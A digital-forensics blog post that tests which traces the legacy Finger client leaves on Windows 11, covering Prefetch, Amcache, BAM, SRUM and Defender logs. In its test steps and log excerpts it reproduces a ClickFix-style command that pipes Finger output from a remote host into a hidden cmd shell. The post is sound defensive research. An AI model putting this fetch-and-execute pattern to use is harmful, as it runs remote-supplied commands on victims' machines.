Post

What Does Finger Leave Behind on Windows 11?

What artifacts does the Finger protocol leave behind on a Windows 11 system?

What Does Finger Leave Behind on Windows 11?

The finger protocol is an interface to a Remote User Information Program. Finger was developed in 1971 to request information about users on a network. It uses port 79 TCP and data must be in ASCII. Although it is an older and less commonly used protocol, it is still present in current versions of Windows 11.

Since this protocol is somewhat older and lesser known, I wanted to investigate what traces an execution of this protocol would leave on a Windows 11 system.

Using the protocol

Using Finger is straightforward as finger user@host, e.g. finger menno@12.34.56. The server then replies with information, if it is configured to do so.

Finger can also be used in alternative ways, such as requesting the weather via graph.no, a project of falkp.

> finger
[...]
> finger utrecht@graph.no
[graph.no]
                    -= Meteogram for Utrecht, Netherlands =-
 'C                                                                   Rain (mm)
 13
 12===
 11   ===   ===                                                   ^^^
 10      ===                                                   ^^^
  9                                                         ===
  8            ======                                 ======
  7                  ^^^===
  6                        ===^^^^^^               ===
  5                                 ^^^^^^===^^^^^^
  4  |  |  |  |  |  |     |                 |        |  |  |  |       1 mm
   _16_17_18_19_20_21 22 23 14/05 02 03 04 05_06_07_08_09_10_11_12_13 Hour

     W SW  W  W  W  O  S SW SW SW SW SW SW SW SW SW NW  N  N  N NE  N Wind dir.
     3  4  3  3  2  0  1  1  3  3  2  2  2  2  2  2  2  2  2  3  3  3 Wind(m/s)

Legend left axis:   - Sunny   ^ Scattered   = Clouded   =V= Thunder   # Fog
Legend right axis:  | Rain    ! Sleet       * Snow
[Weather forecast from yr.no, delivered by the Norwegian Meteorological Institute and the NRK.]

Traces in Windows

To create artifacts, I executed Finger eleven times in a Windows 11 VM. First just the finger command itself without arguments, then with the --h parameter, successful remote queries against graph.no, and finally a part of a ClickFix attack command.

> finger

Displays information about a user on a specified system running the
Finger service. Output varies based on the remote system.

FINGER [-l] [user]@host [...]

  -l        Displays information in long list format.
  user      Specifies the user you want information about. Omit the user
            parameter to display information about all users on the
            specifed host.
  @host     Specifies the server on the remote system whose users you
            want information about.

> finger --h
[...]
> finger utrecht@graph.no
[...]
> cmd.exe /c start /min cmd /c finger utrecht@graph.no\| cmd

This last command was recognized and blocked by Defender.

Defender Detection Fig.1 Defender

After executing the commands I created a image of the VM, collected the artifacts using KAPE and analyzed the resulting artifacts.

Prefetch

Prefetch showed that the finger application was executed eleven times.

  
Source FilenameC:\Cases\finger_protocol_1\Kape\E\Windows\prefetch\FINGER.EXE-F90483D1.pf
Source Created2026-03-10 11:17:06
Source Modified2026-03-10 12:29:03
Source Accessed2026-03-10 14:26:58
Executable NameFINGER.EXE
Run Count11
Last Run2026-03-10 12:29:03
Previous Run02026-03-10 12:24:55
Previous Run12026-03-10 12:24:24
Previous Run22026-03-10 12:23:25
Previous Run32026-03-10 12:22:54
Previous Run42026-03-10 12:22:17
Previous Run52026-03-10 12:20:58
Previous Run62026-03-10 11:56:04

Amcache

Amcache recorded one timestamp.

  
File Key Last Write Timestamp2026-03-10 11:17:06
SHA1274e31ab0ed532203c0c43b9b460864f39323929

Background Activity Moderator (BAM)

Using RegRipper, I analysed the SYSTEM hive and reviewed the BAM module output for background activity.

  
2026-03-10 12:39:54Z\Device\HarddiskVolume4\Windows\System32\cmd.exe

Event Logs

Since the last execution of Finger was blocked by Defender, it makes sense that this appeared in the event logs. To dig deeper, I also examined the event logs using EventLogExplorer.

Microsoft-Windows-Windows Defender Operational

This gave the same result as in the EvtxECmd output. Two related entries in the Defender Antivirus logs:

LevelDateTimeEventSourceUserDescription
Warning10/03/202612:33:471116Microsoft-Windows-Windows Defender\SystemMicrosoft Defender Antivirus has detected malware or other potentially unwanted software. […] Name: VirTool:Win32/SuspClickFix.M3 ID: 2147962014 Severity: Severe Category: Tool Path: CmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no| cmd […]
Information10/03/202612:34:471117Microsoft-Windows-Windows Defender\SystemMicrosoft Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.[…]Name: VirTool:Win32/SuspClickFix.M3 ID: 2147962014 Severity: Severe Category: Tool Path: CmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no| cmd […]

EvtxECmd

Searching in the Event Log output of EvtxECmd for payload for finger, returned two entries. These entries where both from the Defender logging.

Time CreatedEvent IdLevelProviderChannelProcess IdComputerUser IdMap DescriptionPayload Data1Payload Data2Payload Data3Executable Info
2026-03-10 12:33:471116WarningMicrosoft-Windows-Windows DefenderMicrosoft-Windows-Windows Defender/Operational3884Win11S-1-5-18Detection - The antimalware platform detected malware or other potentially unwanted softwareMalware name: VirTool:Win32/SuspClickFix.M3Description: Tool (Severe)Detection Time: 2026-03-10T12:33:47.730ZCmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no| cmd
2026-03-10 12:34:471117InfoMicrosoft-Windows-Windows DefenderMicrosoft-Windows-Windows Defender/Operational3884Win11S-1-5-18Detection - The antimalware platform performed an action to protect your system from malware or other potentially unwanted softwareMalware name: VirTool:Win32/SuspClickFix.M3Description: Tool (Severe)Detection Time: 2026-03-10T12:33:47.730ZCmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no| cmd

Hayabusa

For completeness I also looked at the event logs using Hayabusa. Filtering for critical and high gave the same events:

Time stampRule TitleLevelComputerChannelEvent IDDetails
2026-03-10 12:33:47.778514+00:00Antivirus Relevant File Paths AlertshighWin11Defender1116Threat: VirTool:Win32/SuspClickFix.M3 ¦ Severity: Severe ¦ Type: Tool ¦ User: NT AUTHORITY\SYSTEM ¦ Path: CmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no | cmd ¦ Proc: Unknown
2026-03-10 12:33:47.778514+00:00Defender Alert (Severe)critWin11Defender1116Details Threat: VirTool:Win32/SuspClickFix.M3 ¦ Severity: Severe ¦ Type: Tool ¦ User: NT AUTHORITY\SYSTEM ¦ Path: CmdLine:_C:\Windows\System32\cmd.exe /c start /min cmd /c finger utrecht@graph.no | cmd ¦ Proc: Unknown

I then removed the filter and used this two events as pivoting to search surrounding events. This gave no relevant other events.

SRUM-DUMP

Then System Resource Utilization Monitor can be used to track the usage of applications. Searching SRUM using srum-dump gave 4 entries:

SRUM Entry Creation (UTC)Application/Process
2026-03-10 12:42:00\Device\HarddiskVolume4\Windows\System32\finger.exe
2026-03-10 12:07:23\Device\HarddiskVolume4\Windows\System32\finger.exe
2026-03-10 11:39:00\Device\HarddiskVolume4\Windows\System32\finger.exe
2026-03-10 11:28:33\Device\HarddiskVolume4\Windows\System32\finger.exe

NetworkUsage Output

Using the SRUM I focused on network usage. Filtering for finger gave two hits. This matched the executions where data was retrieved (i.e. the weather).

TimestampExe InfoBytes ReceivedBytes Sent
2026-03-10 12:40:00\device\harddiskvolume4\windows\system32\finger.exe224043582
2026-03-10 11:44:00\device\harddiskvolume4\windows\system32\finger.exe3233558

AppTimelineProvider Output

From the SRUM I also extracted the App timeline.

TimestampExe InfoEnd TimeDuration Ms
2026-03-10 12:42:00finger.exe2026-03-10 12:32:11455888
2026-03-10 12:07:23finger.exe2026-03-10 11:56:52120459
2026-03-10 11:39:00finger.exe2026-03-10 11:32:1737125
2026-03-10 11:28:33finger.exe2026-03-10 11:18:2860556

No traces of executing finger

Lastly, I did not find any traces in the registry, Shimcache, Windows Event Logs, or memory.

Conclusion

The Finger protocol is an older protocol, but it is still present in modern Windows installations. Executing it does leave some artifacts, though I was unable to find traces of most of the individual commands. The ClickFix attempt was detected and blocked by Defender.

From an investigative perspective, Finger executions can be confirmed, but finding the exact query is harder. In this test, artifact sources like Prefetch, Amcache, BAM, and SRUM confirmed execution. The complete command line for the ClickFix could be found in the Defender logging, because tthis triggered a detection event.

ArtifactTraces Found
PrefetchYes
AmcacheYes
BAMPartial
SRUMYes
Defender LogsYes
RegistryNo
ShimcacheNo
MemoryNo
Generic Event LogsNo

There are security concerns regarding Finger. The protocol can expose detailed profile information and may lack adequate monitoring.

As noted in the RFC documentation:

Warning!!  Finger discloses information about users; moreover, such
information may be considered sensitive.  Security administrators
should make explicit decisions about whether to run Finger and what
information should be provided in responses.  One existing
implementation provides the time the user last logged in, the time he
last read mail, whether unread mail was waiting for him, and who the
most recent unread mail was from!  This makes it possible to track
conversations in progress and see where someone's attention was
focused.  Sites that are information-security conscious should not
run Finger without an explicit understanding of how much information
it is giving away.

https://datatracker.ietf.org/doc/html/rfc1288#section-3.2

The protocol can be used without logging, so no historical data can be investigated to see historical queries. If the protocol would be misused, not al traces could be recoverable.

Finger execution does leave identifiable traces on a Windows 11 system. Multiple features on Windows can be used to find traces of the use of Finger. Some of the features record more than others, and none where found that recorded the complete command. Artifacts such as Prefetch, SRUM, and Defender logs can help investigators confirm execution and reconstruct partial activity timelines.

This post is licensed under CC BY 4.0 by the author.